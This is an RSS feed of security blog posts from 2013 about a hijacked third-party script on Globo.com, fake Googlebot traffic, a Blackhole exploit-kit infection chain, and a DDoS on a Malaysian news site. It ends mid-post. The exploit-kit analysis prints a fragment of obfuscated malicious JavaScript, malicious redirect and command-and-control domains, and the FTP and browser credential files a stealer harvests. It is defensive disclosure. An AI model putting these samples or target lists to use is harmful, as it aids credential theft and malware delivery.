<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Sucuri Blog</title>
	
	<link>http://blog.sucuri.net</link>
	<description>Protect Your Interwebs!</description>
	<lastBuildDate>Sun, 19 May 2013 16:53:15 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/SucuriSecurity" /><feedburner:info uri="sucurisecurity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Globo.com redirecting users to Spam ads</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/rgT4YdBG4KU/globo-com-redirecting-users-to-spam-ads.html</link>
		<comments>http://blog.sucuri.net/2013/05/globo-com-redirecting-users-to-spam-ads.html#comments</comments>
		<pubDate>Sun, 19 May 2013 16:27:25 +0000</pubDate>
		<dc:creator>David Dede</dc:creator>
				<category><![CDATA[hacked]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[malware_updates]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7374</guid>
		<description><![CDATA[Globo.com, one of the largest Brazilian web portals (ranked #107 on Alexa and #6 for Brazilian traffic) appears to be compromised and all visits to it are being redirected to a sub page inside pagesinxt.com. If you go to g1.globo.com (or any other of their sub domains), you will end up on a page full<a class="more-link" href="http://blog.sucuri.net/2013/05/globo-com-redirecting-users-to-spam-ads.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>Globo.com, one of the largest Brazilian web portals (ranked #107 on Alexa and #6 for Brazilian traffic) appears to be compromised and all visits to it are being redirected to a sub page inside pagesinxt.com. If you go to g1.globo.com (or any other of their sub domains), you will end up on a page full of ads about Hosting, Internet and fake email products:</p>
<p><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-19-at-1.05.37-PM-300x181.png" alt="Globo.com redirection" width="300" height="181" class="aligncenter size-medium wp-image-7375" /></p>
<p>That redirection has been going for a few hours at least and we detected it for the first time around 8am EST and it is still live four hours later (noon EST). </p>
<h5>What is going on?</h5>
<p>We are investigating, but at the bottom of any page inside google.com there is a script being loaded from sawpf.com:</p>
<blockquote><p>
&lt;script&nbsp;defer&nbsp;src=&quot;httx://sawpf.com/1.0.js&quot;&gt;&lt;/script&gt;
</p></blockquote>
<p>That javascript file is being very slow to load, but when it does, it runs the following code:</p>
<blockquote><p>
&nbsp;window.location&nbsp;=&nbsp;httx://pagesinxt.com/?dn=sawpf.com&#038;fp=3WBUwymfgey&#8230;
</p></blockquote>
<p>Which forces the browser to redirect the to pagesinxt.com. At this point, we recommend all users to do not visit any globo.com page (or go there with Javascript disabled). </p>
<h5>Who really owns your site?</h5>
<p>This brings up a good topic that we brought up before. <a href="http://blog.sucuri.net/2013/05/who-really-owns-your-website-please-stop-hotlinking-my-easing-script-use-a-real-cdn-instead.html">Who really owns your site?</a> Every time you include a javascript (or widget or iframe), the security of your site becomes dependent on that third party server. It doesn&#8217;t looks like Globo in itself got compromised, but since they are including code from sawpf.com, they are only as secure as them.</p>
<blockquote><p>
Every time you add a remote JavaScript (or widget or iFrame) to your site, you are giving the server that houses that code full control of what is displayed to your users. If their servers get compromised, your site will be compromised as well.</p>
<p>Can you imagine if the author of the Easing Plugin was malicious? Instead of just that pop-up, they could have added a URL redirect to send all your users to any site they of their choosing (SPAM, porn, you name it). What if their server was hacked? The attackers could have added malware and it would have loaded to all your users.
</p></blockquote>
<p><strong>*update 1:</strong> Lots of users on Twitter are complaining about it as well. Search for sawpf or pagesinxt to see the amount of people complaining or worried about it.</p>
<p><strong>*update 2:</strong> If you click on some urls inside sawpf.com, you will be redirected to pagesinxt.com as well ( for example: httx://sawpf.com/libs/jquery/1.7.1.js )</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/rgT4YdBG4KU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/globo-com-redirecting-users-to-spam-ads.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/globo-com-redirecting-users-to-spam-ads.html</feedburner:origLink></item>
		<item>
		<title>Sucuri CloudProxy WAF – Fake Bots Explained</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/9SGzmG1OmOE/sucuri-cloudproxy-waf-fake-bots-explained.html</link>
		<comments>http://blog.sucuri.net/2013/05/sucuri-cloudproxy-waf-fake-bots-explained.html#comments</comments>
		<pubDate>Tue, 14 May 2013 16:41:44 +0000</pubDate>
		<dc:creator>Daniel Cid</dc:creator>
				<category><![CDATA[awareness]]></category>
		<category><![CDATA[cloudproxy]]></category>
		<category><![CDATA[googlebot]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[waf]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7352</guid>
		<description><![CDATA[One of the most common questions we have been getting since launching our CloudProxy WAF is regarding bot activity and why it appears that we are blocking Google and / or Bing bots. Inside the CloudProxy dashboard we provide a full audit log of any request that gets denied access and when a client see&#8217;s<a class="more-link" href="http://blog.sucuri.net/2013/05/sucuri-cloudproxy-waf-fake-bots-explained.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>One of the most common questions we have been getting since launching our <a href="http://cloudproxy.sucuri.net">CloudProxy WAF</a> is regarding bot activity and why it appears that we are blocking Google and / or Bing bots. Inside the CloudProxy dashboard we provide a full audit log of any request that gets denied access and when a client see&#8217;s something like the following in their logs they tend to get concerned:</p>
<blockquote><p>
13/May/2013:09:20:29 +0000] 80.72.37.156 &#8220;IP Address not authorized&#8221; &#8220;POST /wp-login.php HTTP/1.1&#8243; 403 &#8220;&#8221; &#8220;Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)&#8221;
</p></blockquote>
<p>In this specific instance they are concerned that we are blocking Bing because of this reference: <strong>bingbot/2.0; +http://www.bing.com/bingbot.htm</strong>. They are especially concerned when it says Googlebot, like this one:</p>
<blockquote><p>
13/May/2013:18:27:14 -0400] 198.50.161.234 &#8220;Spam comment blocked&#8221; &#8220;POST /blog/wp-comments-post.php HTTP/1.0&#8243; 403  &#8220;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&#8221;
</p></blockquote>
<p>Nobody wants to block Google out of their sites.<br />
<span id="more-7352"></span><br />
If you are not familiar with HTTP and logs, the first snippet is saying that the IP address 80.72.37.156 tried to login to wp-login.php and it identified itself as Bingbot. In the second log, it is saying that the IP address 198.50.161.234 tried to send a comment and it identified itself as Googlebot.</p>
<h5>We do not block any major search engine bots!</h5>
<p>One things most users do not know is that anyone can fake or modify the &#8220;User Agent&#8221; (browser id) of their request to look like it is coming from somewhere else.</p>
<p>So what do attackers do? They emulate a real browser, like Google Chrome or Firefox, and sometimes also try to identify themselves as bots like those provided by Google, Bing, Yandex and many others, to see if they can evade detection.</p>
<p>This is why we do not rely on the user agent alone to detect if real bot is crawling your site. </p>
<h5>Identifying a real bot</h5>
<p>This is what a real Google bot looks like in the logs:</p>
<blockquote><p>
66.249.73.141 &#8211; - [13/May/2013:04:58:13 -0400] &#8220;GET / HTTP/1.1&#8243; 200 6095 &#8220;-&#8221; &#8220;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&#8221;
</p></blockquote>
<p>First, their IP address always resolves back to Google&#8217;s domain. So if you try to do an IP lookup you&#8217;d see it points back to the Google domain:</p>
<blockquote><p>
$ host 66.249.73.141<br />
141.73.249.66.in-addr.arpa domain name pointer <b>crawl-66-249-73-141.googlebot.com.</b>
</p></blockquote>
<p>And the same applies to Bing, Yandex and all other real search engines. </p>
<p>Second, another red flag, these bots will not be trying to send comments or logging in to your website. If you see any login attempt from any of them, you know it is someone just impersonating their requests. If you are not sure, try to see where the IP is coming from. If we use the first example from this post, we would see that the IP 80.72.37.156 actually comes from Polish IP address (likely a compromised server):</p>
<blockquote><p>
$ host 80.72.37.156<br />
156.37.72.80.in-addr.arpa domain name pointer host-156.etop.dev.pl.
</p></blockquote>
<h5>Fake Bots and Comment spam</h5>
<p>Interestingly enough, from our data points, we are seeing a large percentage of comment spam leveraging this technique of faking their user agent. So far in May, 2013, we have blocked <b>33,988</b> spam comments using this technique:</p>
<blockquote><p>
2013/Jan:  41,660 spam comments blocked coming from fake Googlebot<br />
2013/Feb:  71,747 spam comments blocked coming from fake Googlebot<br />
2013/Mar:  106,197 spam comments blocked coming from fake Googlebot<br />
2013/Apr:  68,708 spam comments blocked coming from fake Googlebot
</p></blockquote>
<h5>Now you know</h5>
<p>So next time you see a Bot visiting your site, you should be able to identify if it&#8217;s real or not. If you are not sure, just ask and we will be happy to help.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/9SGzmG1OmOE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/sucuri-cloudproxy-waf-fake-bots-explained.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/sucuri-cloudproxy-waf-fake-bots-explained.html</feedburner:origLink></item>
		<item>
		<title>Auto Generated Iframes To Blackhole Exploit Kit – Following the Cookie Trail</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/pAMECZDvjB0/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html</link>
		<comments>http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html#comments</comments>
		<pubDate>Mon, 06 May 2013 16:53:00 +0000</pubDate>
		<dc:creator>Daniel Cid</dc:creator>
				<category><![CDATA[sucuri]]></category>
		<category><![CDATA[Blackhole]]></category>
		<category><![CDATA[Cookie]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[iFrames]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7086</guid>
		<description><![CDATA[We often talk about websites being compromised and injected with malware that redirect users to exploit kits. We unfortunately don&#8217;t give you a complete picture of what the distribution payload is doing on your local machine very often. Today we&#8217;ll try to improve that analysis by giving you a more complete picture of the full<a class="more-link" href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>We often talk about websites being compromised and injected with malware that redirect users to exploit kits. We unfortunately don&#8217;t give you a complete picture of what the distribution payload is doing on your local machine very often. Today we&#8217;ll try to improve that analysis by giving you a more complete picture of the full life cycle of a specific distribution payload. </p>
<p>In this example, we&#8217;ll be showing you how an attacker is injecting a site with a dynamic iFrame generator, which then attempts to install a malicious payload on your machine. More importantly, we&#8217;ll show you what that file is doing locally. </p>
<p>We were actually very lucky in this instance. Instead of a banking trojan, we were able to get our hands on a payload that is designed to steal not only your Browser information, but your FTP credentials as well. This can then be used to compromise any website you own, completing the life cycle of the injection:</p>
<h5>compromised site -> compromised desktop -> stolen FTP passwords -> more compromised sites</h5>
<p><span id="more-7086"></span><br />
</p>
<h4>1- Compromised sites with auto generated iframes</h4>
<p>A WordPress site was hacked via brute forcing their wp-admin admin password. We were able to see in the logs that after multiple login attempts, the attackers succeeded and logged in as administrator and used the theme editor to insert the following code at the top of the header.php of the theme:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-14-20-am" rel="attachment wp-att-7315"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.14.20-AM.png" alt="Screen Shot 2013-05-05 at 11.14.20 AM" width="1620" height="311" class="aligncenter size-full wp-image-7315" /></a></p>
<p>If you don&#8217;t know PHP, this code will contact the website <strong>http://82.200.204.151/config.inc.php</strong> and will act as a connection to the command and control server to get confirmation of what it should do. This is done in this part of the code:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-15-22-am" rel="attachment wp-att-7316"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.15.22-AM.png" alt="Screen Shot 2013-05-05 at 11.15.22 AM" width="740" height="67" class="aligncenter size-full wp-image-7316" /></a></p>
<p>Which we can easily replicate using Curl to see what it replies:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-17-08-am" rel="attachment wp-att-7317"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.17.08-AM.png" alt="Screen Shot 2013-05-05 at 11.17.08 AM" width="884" height="232" class="aligncenter size-full wp-image-7317" /></a></p>
<p>As I am writing this post, it returns &#8220;httx://andlettherebelight.com/news/faults-ending.php&#8221;. The same code will get that URL and inject the following iFrame at the bottom of the website, usually after the closing &#8220;</body>&#8221; tag:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-22-24-am" rel="attachment wp-att-7318"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.22.24-AM.png" alt="Screen Shot 2013-05-05 at 11.22.24 AM" width="1212" height="82" class="aligncenter size-full wp-image-7318" /></a></p>
<h4>2- From server level code to browser injection</h4>
<p>That iFrame from httx://andlettherebelight.com/news/faults-ending.php gets executed every time someone visits the compromised site. And once called, it returns code from the infamous Blackhole Exploit kit. It is a heavily obfuscated JavaScript that looks something like this:</p>
<pre>
&lt;body&nbsp;asd=123>&lt;script&gt;z=eval&nbsp;;&nbsp;ss=String;
dd=&quot;d&quot;+&quot;i"+"v";&nbsp;
function vq(){for(i=0;a.length>i;i++){if(az)zz();}}gg=("getElementsByTagName");..
&lt;style&gt;.d{visibility:hidden;}&lt;/style&gt;&lt;div class="d">95.89.95.89.62.a0.9b.8a.97.98.8e.94.93.5f.47.55.53.5c.53.5e.47.51.93.86.92.8a.5f.47.
95.89.95.89.47.51.8d.86.93.89.91.8a.97.5f.8b.9a.93.88.99.8e.94.93.4d.88.51.87.51.86.4e.a0.97.8a.99.9a.97.93.45.8b.9a.93.88.99.8e.94.93.4d.4e.a0.88.4d.
87.51.86.4e.a2.a2.51.94.95.8a.93.79.86.8c.5f.47...
... long long code..
</pre>
<p>A check shows that the distribution payload is not very well detected by Anti-Virus companies. As you can see on VirusTotal, it is 1/46 for one sample:</p>
<p>First sample <a href="https://www.virustotal.com/en/file/404dce722c425a7b64b626a32848a22734b2136b35dbbe62760bf9355b86a0da/analysis/1367070666/">https://www.virustotal.com/en/file/404dce722c425a7b64b626a32848a22734b2136b35dbbe62760bf9355b86a0da/analysis/1367070666/</a>:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-28-16-am" rel="attachment wp-att-7321"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.28.16-AM.png" alt="Screen Shot 2013-05-05 at 11.28.16 AM" width="959" height="304" class="aligncenter size-full wp-image-7321" /></a></p>
<p>And 1/46 for another one: <a href="https://www.virustotal.com/en/file/45ccc879794713da5ba59c212f87b0d9fbb5bcc95e8acdbf086015827edf7563/analysis/1367070678/">https://www.virustotal.com/en/file/45ccc879794713da5ba59c212f87b0d9fbb5bcc95e8acdbf086015827edf7563/analysis/1367070678/</a>:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-26-29-am" rel="attachment wp-att-7320"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.26.29-AM.png" alt="Screen Shot 2013-05-05 at 11.26.29 AM" width="976" height="306" class="aligncenter size-full wp-image-7320" /></a></p>
<p>This means that out of 46 engines, only 1 detected those samples, AVG on the first one and Fortinet on the second. This doesn&#8217;t mean that it you won&#8217;t be protected at the end-point, but it does mean that they are not able to detect this distribution payload. </p>
<h4>4- Command and control and new URLS</h4>
<p>Below is a list of all the sites that have been used in the compromise in the time that we have been monitoring this C&#038;C. They seem to rotate out every few hours and the domain does not replicate, this can be for a number of reasons like evading detection, website is cleared of compromise, etc&#8230; </p>
<p>Here is the list of the various domains that have been used:</p>
<pre>
http://john-aaroe-group-sherman-oaks.com/news/faults-ending.php  (50.116.6.12)
http://listingpresentationonline.com/news/faults-ending.php (50.116.6.12)
http://sagerealestate.ca/news/faults-ending.php (184.172.149.128)
http://palmspringsrentalsvacation.com/news/faults-ending.php (50.116.6.12)
http://realtor-com-hollywood-hills-ca.com/news/faults-ending.php (50.116.6.12)
http://realtor-com-larchmont-village-ca.com/news/faults-ending.php (50.116.6.12)
http://realtor-com-sherman-oaks.com/news/faults-ending.php (50.116.6.12)
http://mydadsbest.com/news/faults-ending.php (66.228.44.144)
http://andlettherebelight.com/news/faults-ending.php (66.228.44.144)
http://firepointmedia.net/news/faults-ending.php (66.228.44.144)
http://burienanimalcontrol.com/news/faults-ending.php (50.116.61.32)
http://burienbandapalooza.com/news/faults-ending.php (50.116.61.32)
http://iloveburien.com/news/faults-ending.php (50.116.61.32)
http://markrestaurant.com/news/faults-ending.php (50.116.61.32)
http://optimarkeyecare.com/news/faults-ending.php (50.116.61.32)
http://enteratebusiness.com/news/faults-ending.php (50.116.61.32)
http://enteratecalifornia.com/news/faults-ending.php (50.116.61.32)
http://igreenmarketing.com/news/faults-ending.php (50.116.61.32)
http://spencerandashley.com/news/faults-ending.php (50.116.61.32)
http://usedchairlifts.com/news/faults-ending.php (50.116.61.32)
http://sherman-oaks-condos-for-sale.com/news/faults-ending.php (173.230.128.250)
http://atlanticshowroom.com/news/faults-ending.php (173.230.128.250)
http://albiontirecity.com/news/faults-ending.php (173.230.128.250)
http://seniorcarecard.com/news/faults-ending.php (50.116.12.172)
http://thisplaceiknow.co/news/faults-ending.php (50.116.12.172)
http://thisplaceiknow.info/news/faults-ending.php (50.116.12.172)
http://thisplaceweknow.org/news/faults-ending.php (50.116.12.172)
http://wegotaplace.co/news/faults-ending.php (50.116.12.172)
http://wegotaplace.info/news/faults-ending.php (50.116.12.172)
http://wegotaplace.net/news/faults-ending.php (50.116.12.172)
http://wehaveaplace.net/news/faults-ending.php (50.116.12.172)
http://weknowhomecare.com/news/faults-ending.php (50.116.12.172)
http://weknowhomecare.info/news/faults-ending.php (50.116.12.172)
http://allamericantireinc.com/news/faults-ending.php (174.140.171.249)
http://allautoandtruck.net/news/faults-ending.php (174.140.171.249)
http://allstatetire.net/news/faults-ending.php (174.140.171.249)
</pre>
<h4>5- From browser injection to owned Desktop</h4>
<p>We wanted to see if they are using the same payload each time, and it appears they are. Unlike most of our other research, we decided to see what it might be doing at the end-point. Special thanks to <a href="https://twitter.com/jeromesegura">Jerome Segura</a> of <a href="http://www.malwarebytes.org/">Malwarebytes</a> for the help on this front. </p>
<p>It appears that the attackers are performing a drive-by-download in an effort to steal credentials. We often talk about this, but today we can show you more. In this instance working off Windows OS with IE8, we were able to trigger the payload when the conditions are met. This is what the user was greeted with:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/adobe-drive-by" rel="attachment wp-att-7322"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Adobe-Drive-By.png" alt="Sucuri Adobe Drive By" width="1264" height="1064" class="aligncenter size-full wp-image-7322" /></a></p>
<p>If you&#8217;re not aware, this is pretty close to what the old download page looked like. This is what it looks like today:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-37-31-am" rel="attachment wp-att-7323"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.37.31-AM.png" alt="Screen Shot 2013-05-05 at 11.37.31 AM" width="998" height="939" class="aligncenter size-full wp-image-7323" /></a></p>
<p>The first sign of fraud should be the domains. The fake one is coming from hxxp://graphicsspecialistsgroup.com/adobe/ and the real one comes from get.adobe.com/flashplayer. When the user clicks on the download the browser will download a file called update_flash_player.exe. This file is being stored on the compromised server and is located in the same directory mentioned above /adobe. </p>
<p>When the user installs the payload, it performs a silent install. There are not actions required by the user, unclear why but it kills the <a href="http://www.howtogeek.com/howto/windows-vista/what-is-rundll32exe-and-why-is-it-running/">Windows Rundll32 library</a>, then it goes silent. There is no other action to show that something has occurred and to the unsuspecting user it would seem as the update went flawlessly. </p>
<p>This is where our friend Jerome comes into play, he was able to point us in the direction of a few resources that would help us better diagnose what the payload was doing. Surprisingly, when we checked with VirusTotal to see which end-point solutions would detect the payload, only 10 of the 46 players detected. </p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/sucuri-virustotal-adobe-drive-by" rel="attachment wp-att-7324"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Sucuri-VirusTotal-Adobe-Drive-By.png" alt="Sucuri - VirusTotal Adobe Drive By" width="1234" height="593" class="aligncenter size-full wp-image-7324" /></a></p>
<p>Fortunately, there are a few good resources out there and we were able to break down the payload further to understand what it was doing. Here is what we know:</p>
<ul>
<li>It starts a server listening agent on 0.0.0.0:0</li>
<li>Steals private local information from local internet browsers</li>
<li>Harvest credentials from local FTP client software</li>
<li>Installs itself for auto run at Windows startup</li>
</ul>
<p>Here is a list of all the domains it touches, or reaches out to, when installed:</p>
<pre>
mail.yaklasim.com	            212.58.4.13
www.brozziassicurazioni.it	    62.149.130.81
www.google.com	            173.194.78.147
www.google.nl	            173.194.78.94
cdn162.filesnetuploadlist.com  78.131.140.159
</pre>
<p>Here are a few examples of some of the data points it looks to harvest:</p>
<pre>
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\*.*
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\*.*
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\*.*
C:\Documents and Settings\User\Application Data\FlashFXP\3\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\History.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\History.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\3\Sites.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\4\Sites.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\3\Quick.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\4\Quick.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\3\History.dat
C:\Documents and Settings\All Users\Application Data\FlashFXP\4\History.dat
C:\Documents and Settings\User\Application Data\FileZilla\filezilla.xml
C:\Documents and Settings\All Users\Application Data\FileZilla\sitemanager.xml
C:\Documents and Settings\All Users\Application Data\FileZilla\recentservers.xml
C:\Documents and Settings\All Users\Application Data\FileZilla\filezilla.xml
C:\Documents and Settings\User\Local Settings\Application Data\FileZilla\sitemanager.xml
C:\Documents and Settings\User\Local Settings\Application Data\FileZilla\recentservers.xml
C:\Documents and Settings\User\Local Settings\Application Data\FileZilla\filezilla.xml
C:\Documents and Settings\User\Local Settings\Application Data\BulletProof Software\*.*
C:\Documents and Settings\User\Application Data\BulletProof Software\*.*
C:\Documents and Settings\All Users\Application Data\BulletProof Software\*.*
C:\Documents and Settings\User\Application Data\SmartFTP\*.*
C:\Documents and Settings\All Users\Application Data\SmartFTP\*.*
C:\Documents and Settings\User\Local Settings\Application Data\SmartFTP\*.*
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\profiles.ini
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default\*.*
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default\bookmarkbackups\*.*
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default\minidumps\*.*
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default\signons.sqlite
C:\Program Files\Mozilla Firefox
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default/secmod.db
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\vglnv7s6.default\secmod.db
.......
</pre>
<p>Any of these names ring a bell? What you have here is a perfect example of a payload looking to harvest the data you are storing in your local clients, both browser and FTP.</p>
<p>When it installs it also makes connection with a number of different sites:</p>
<p><a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/screen-shot-2013-05-05-at-11-57-11-am" rel="attachment wp-att-7326"><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-05-at-11.57.11-AM.png" alt="Screen Shot 2013-05-05 at 11.57.11 AM" width="2227" height="844" class="aligncenter size-full wp-image-7326" /></a></p>
<p>Here you can see two things, the authentication is occurring in the first step against the yaklasim.com site, and the payload is being retrieved from the brozziassicurazioni.it site. If you do some more research you find that that the yaklasim site is actually a known malicious domain. This domain is being used for a number of drive by download attacks ranging from stealing credentials like what I described above, to installing banking trojans. Further research shows that the authentication boxes seem to be originating out of Turkey:</p>
<pre>
IP Address	213.128.73.123<br />
Host	        server-213.128.73.123.radore.net.tr<br />
Location	TR, Turkey<br />
</bpree></p>
<h4>5- Cleaning up and preventing</h4>
<p>As you can see, this type of malware goes the full circle. It compromises websites and use them to infect desktops. Once a desktop is infected, it will use it as part of their botnets, and if the owner of the desktop also has a website, it will use that to inject malware as well.</p>
<p>Our <a href="http://sitecheck.sucuri.net">SiteCheck scanner</a> detects this type of injection so if you suspect your site has been compromised, you can check it in there.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/pAMECZDvjB0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html</feedburner:origLink></item>
		<item>
		<title>Malaysian Election and DDOS</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/955fYlJgy1c/malaysian-election-and-ddos.html</link>
		<comments>http://blog.sucuri.net/2013/05/malaysian-election-and-ddos.html#comments</comments>
		<pubDate>Sat, 04 May 2013 16:20:45 +0000</pubDate>
		<dc:creator>David Dede</dc:creator>
				<category><![CDATA[ddos]]></category>
		<category><![CDATA[malaysia]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7300</guid>
		<description><![CDATA[Malaysia is having an election this weekend that has been surrounded by issues. We won&#8217;t go into the politics, but one of our client&#8217;s sites (a popular Malaysian news source that we won&#8217;t name), started to suffer a very large scale DDOS (distributed denial of service attack). Reuters also has a similar story about another<a class="more-link" href="http://blog.sucuri.net/2013/05/malaysian-election-and-ddos.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>Malaysia is having an election this weekend that has been surrounded by issues. We won&#8217;t go into the politics, but one of our client&#8217;s sites (a popular Malaysian news source that we won&#8217;t name), started to suffer a very large scale DDOS (distributed denial of service attack). <a href="http://www.reuters.com/article/2013/05/04/us-malayasia-election-online-idUSBRE94302I20130504">Reuters</a> also has a similar story about another site and we can confirm what they are saying:</p>
<blockquote><p>
(Reuters) &#8211; Ahead of Malaysia&#8217;s elections on Sunday, independent online media say they are being targeted in Internet attacks which filter content and throttle access to websites, threatening to deprive voters of their main source of independent reporting.
</p></blockquote>
<p>This specific Malaysian site has been targeted for a couple of weeks, but since May 1st, their sites were hit by a very large botnet.</p>
<p><img src="http://blog.sucuri.net/wp-content/uploads/2013/05/Screen-Shot-2013-05-04-at-12.51.46-PM.png" alt="Malaysia site DDOS" width="538" height="244" class="aligncenter size-full wp-image-7303" /></p>
<p>To protect the innocent, we won&#8217;t go into much details, but the green in the graph is the outbound data and the blue is the inbound. And that means thousands of simultaneous connections per second being sustained for the last 4 days against them.</p>
<h5>Technical details</h5>
